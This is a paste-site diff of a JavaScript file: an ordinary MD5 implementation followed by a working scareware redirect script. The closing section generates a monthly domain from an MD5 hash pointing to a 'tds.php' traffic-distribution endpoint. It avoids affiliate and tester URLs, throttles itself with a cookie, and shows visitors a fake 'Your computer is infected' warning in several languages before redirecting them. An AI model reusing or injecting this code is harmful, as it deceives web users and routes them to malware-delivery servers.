View difference between Paste ID: YKeckauk and 2y2MfuVM
SHOW: | | - or go back to the newest paste.
1
function md5cycle(x, k) {
2
var a = x[0], b = x[1], c = x[2], d = x[3];
3
4
a = ff(a, b, c, d, k[0], 7, -680876936);
5
d = ff(d, a, b, c, k[1], 12, -389564586);
6
c = ff(c, d, a, b, k[2], 17,  606105819);
7
b = ff(b, c, d, a, k[3], 22, -1044525330);
8
a = ff(a, b, c, d, k[4], 7, -176418897);
9
d = ff(d, a, b, c, k[5], 12,  1200080426);
10
c = ff(c, d, a, b, k[6], 17, -1473231341);
11
b = ff(b, c, d, a, k[7], 22, -45705983);
12
a = ff(a, b, c, d, k[8], 7,  1770035416);
13
d = ff(d, a, b, c, k[9], 12, -1958414417);
14
c = ff(c, d, a, b, k[10], 17, -42063);
15
b = ff(b, c, d, a, k[11], 22, -1990404162);
16
a = ff(a, b, c, d, k[12], 7,  1804603682);
17
d = ff(d, a, b, c, k[13], 12, -40341101);
18
c = ff(c, d, a, b, k[14], 17, -1502002290);
19
b = ff(b, c, d, a, k[15], 22,  1236535329);
20
21
a = gg(a, b, c, d, k[1], 5, -165796510);
22
d = gg(d, a, b, c, k[6], 9, -1069501632);
23
c = gg(c, d, a, b, k[11], 14,  643717713);
24
b = gg(b, c, d, a, k[0], 20, -373897302);
25
a = gg(a, b, c, d, k[5], 5, -701558691);
26
d = gg(d, a, b, c, k[10], 9,  38016083);
27
c = gg(c, d, a, b, k[15], 14, -660478335);
28
b = gg(b, c, d, a, k[4], 20, -405537848);
29
a = gg(a, b, c, d, k[9], 5,  568446438);
30
d = gg(d, a, b, c, k[14], 9, -1019803690);
31
c = gg(c, d, a, b, k[3], 14, -187363961);
32
b = gg(b, c, d, a, k[8], 20,  1163531501);
33
a = gg(a, b, c, d, k[13], 5, -1444681467);
34
d = gg(d, a, b, c, k[2], 9, -51403784);
35
c = gg(c, d, a, b, k[7], 14,  1735328473);
36
b = gg(b, c, d, a, k[12], 20, -1926607734);
37
38
a = hh(a, b, c, d, k[5], 4, -378558);
39
d = hh(d, a, b, c, k[8], 11, -2022574463);
40
c = hh(c, d, a, b, k[11], 16,  1839030562);
41
b = hh(b, c, d, a, k[14], 23, -35309556);
42
a = hh(a, b, c, d, k[1], 4, -1530992060);
43
d = hh(d, a, b, c, k[4], 11,  1272893353);
44
c = hh(c, d, a, b, k[7], 16, -155497632);
45
b = hh(b, c, d, a, k[10], 23, -1094730640);
46
a = hh(a, b, c, d, k[13], 4,  681279174);
47
d = hh(d, a, b, c, k[0], 11, -358537222);
48
c = hh(c, d, a, b, k[3], 16, -722521979);
49
b = hh(b, c, d, a, k[6], 23,  76029189);
50
a = hh(a, b, c, d, k[9], 4, -640364487);
51
d = hh(d, a, b, c, k[12], 11, -421815835);
52
c = hh(c, d, a, b, k[15], 16,  530742520);
53
b = hh(b, c, d, a, k[2], 23, -995338651);
54
55
a = ii(a, b, c, d, k[0], 6, -198630844);
56
d = ii(d, a, b, c, k[7], 10,  1126891415);
57
c = ii(c, d, a, b, k[14], 15, -1416354905);
58
b = ii(b, c, d, a, k[5], 21, -57434055);
59
a = ii(a, b, c, d, k[12], 6,  1700485571);
60
d = ii(d, a, b, c, k[3], 10, -1894986606);
61
c = ii(c, d, a, b, k[10], 15, -1051523);
62
b = ii(b, c, d, a, k[1], 21, -2054922799);
63
a = ii(a, b, c, d, k[8], 6,  1873313359);
64
d = ii(d, a, b, c, k[15], 10, -30611744);
65
c = ii(c, d, a, b, k[6], 15, -1560198380);
66
b = ii(b, c, d, a, k[13], 21,  1309151649);
67
a = ii(a, b, c, d, k[4], 6, -145523070);
68
d = ii(d, a, b, c, k[11], 10, -1120210379);
69
c = ii(c, d, a, b, k[2], 15,  718787259);
70
b = ii(b, c, d, a, k[9], 21, -343485551);
71
72
x[0] = add32(a, x[0]);
73
x[1] = add32(b, x[1]);
74
x[2] = add32(c, x[2]);
75
x[3] = add32(d, x[3]);
76
77
}
78
79
function cmn(q, a, b, x, s, t) {
80
a = add32(add32(a, q), add32(x, t));
81
return add32((a << s) | (a >>> (32 - s)), b);
82
}
83
84
function ff(a, b, c, d, x, s, t) {
85
return cmn((b & c) | ((~b) & d), a, b, x, s, t);
86
}
87
88
function gg(a, b, c, d, x, s, t) {
89
return cmn((b & d) | (c & (~d)), a, b, x, s, t);
90
}
91
92
function hh(a, b, c, d, x, s, t) {
93
return cmn(b ^ c ^ d, a, b, x, s, t);
94
}
95
96
function ii(a, b, c, d, x, s, t) {
97
return cmn(c ^ (b | (~d)), a, b, x, s, t);
98
}
99
100
function md51(s) {
101
txt = '';
102
var n = s.length,
103
state = [1732584193, -271733879, -1732584194, 271733878], i;
104
for (i=64; i<=s.length; i+=64) {
105
md5cycle(state, md5blk(s.substring(i-64, i)));
106
}
107
s = s.substring(i-64);
108
var tail = [0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0];
109
for (i=0; i<s.length; i++)
110
tail[i>>2] |= s.charCodeAt(i) << ((i%4) << 3);
111
tail[i>>2] |= 0x80 << ((i%4) << 3);
112
if (i > 55) {
113
md5cycle(state, tail);
114
for (i=0; i<16; i++) tail[i] = 0;
115
}
116
tail[14] = n*8;
117
md5cycle(state, tail);
118
return state;
119
}
120
121
/* there needs to be support for Unicode here,
122
 * unless we pretend that we can redefine the MD-5
123
 * algorithm for multi-byte characters (perhaps
124
 * by adding every four 16-bit characters and
125
 * shortening the sum to 32 bits). Otherwise
126
 * I suggest performing MD-5 as if every character
127
 * was two bytes--e.g., 0040 0025 = @%--but then
128
 * how will an ordinary MD-5 sum be matched?
129
 * There is no way to standardize text to something
130
 * like UTF-8 before transformation; speed cost is
131
 * utterly prohibitive. The JavaScript standard
132
 * itself needs to look at this: it should start
133
 * providing access to strings as preformed UTF-8
134
 * 8-bit unsigned value arrays.
135
 */
136
function md5blk(s) { /* I figured global was faster.   */
137
var md5blks = [], i; /* Andy King said do it this way. */
138
for (i=0; i<64; i+=4) {
139
md5blks[i>>2] = s.charCodeAt(i)
140
+ (s.charCodeAt(i+1) << 8)
141
+ (s.charCodeAt(i+2) << 16)
142
+ (s.charCodeAt(i+3) << 24);
143
}
144
return md5blks;
145
}
146
147
var hex_chr = '0123456789abcdef'.split('');
148
149
function rhex(n)
150
{
151
var s='', j=0;
152
for(; j<4; j++)
153
s += hex_chr[(n >> (j * 8 + 4)) & 0x0F]
154
+ hex_chr[(n >> (j * 8)) & 0x0F];
155
return s;
156
}
157
158
function hex(x) {
159
for (var i=0; i<x.length; i++)
160
x[i] = rhex(x[i]);
161
return x.join('');
162
}
163
164
function md5(s) {
165
return hex(md51(s));
166
}
167
168
/* this function is much faster,
169
so if possible we use it. Some IEs
170
are the only ones I know of that
171
need the idiotic second function,
172
generated by an if clause.  */
173
174
function add32(a, b) {
175
return (a + b) & 0xFFFFFFFF;
176
}
177
178
if (md5('hello') != '5d41402abc4b2a76b9719d911017c592') {
179
function add32(x, y) {
180
var lsw = (x & 0xFFFF) + (y & 0xFFFF),
181
msw = (x >> 16) + (y >> 16) + (lsw >> 16);
182
return (msw << 16) | (lsw & 0xFFFF);
183
}
184
}
185
186
function getCookie(name) {
187
  var matches = document.cookie.match(new RegExp(
188
    "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
189
  ));
190
  return matches ? decodeURIComponent(matches[1]) : undefined;
191
}
192
193
console.log(top.location.href);
194
195
var is_keeper = top.location.href.indexOf("keeper") > -1 || top.location.href.indexOf("tds") > -1 || top.location.href.indexOf("mb") > -1 || top.location.href.indexOf("affid") > -1;
196
197
console.log(is_keeper);
198
199
var date = new Date;
200
var current_time = date.getTime();
201
var cookie_time = getCookie('_alert');
202
var pause = current_time - cookie_time;
203
204
console.log('current_time: ' + current_time);
205
console.log('cookie_time: ' + cookie_time);
206
console.log('current_time - cookie_time: ' + (current_time - cookie_time));
207
208
    var day = date.getDate();
209
    var month = date.getMonth() + 1;
210
    var year = date.getFullYear();
211
    var d = month + '/' + year;
212
    var tds_url = 'http://' + md5(d) + '.pro/tds.php?subid=ce';
213
214
console.log(tds_url);
215
216
    date.setDate(date.getDate() + 1);
217
    document.cookie = "_alert=" + current_time + "; path=/; expires=" + date.toUTCString();
218
219
if (pause && pause > (60 * 60 * 1000) && !is_keeper) {
220
221
    var lang = navigator.languages ? navigator.languages[0] : (navigator.language || navigator.userLanguage);
222
    if (lang) lang = lang.substring(0, 2);
223
    console.log('lang: ' + lang);
224
225
    var msg = 'Your computer is infected. You have to check it with antivirus.';
226
227
    if (lang == 'es') msg = "Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome.";
228
    if (lang == 'it') msg = "Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome.";
229
    if (lang == 'fr') msg = "Votre navigateur contient MALWARE. Vous devez installer l'outil de suppression de logiciels malveillants Chrome.";
230
    if (lang == 'pt') msg = "Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware.";
231
    if (lang == 'de') msg = "Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren.";
232
    if (lang == 'ru') msg = "Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода.";
233
    if (lang == 'gr') msg = "Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης.";
234
235
    if (confirm(msg)) {
236
        top.location.href = tds_url;
237
    } else {
238
//        window.top.location.href = 'https://browser-updates.info/s.html';
239
    }
240
}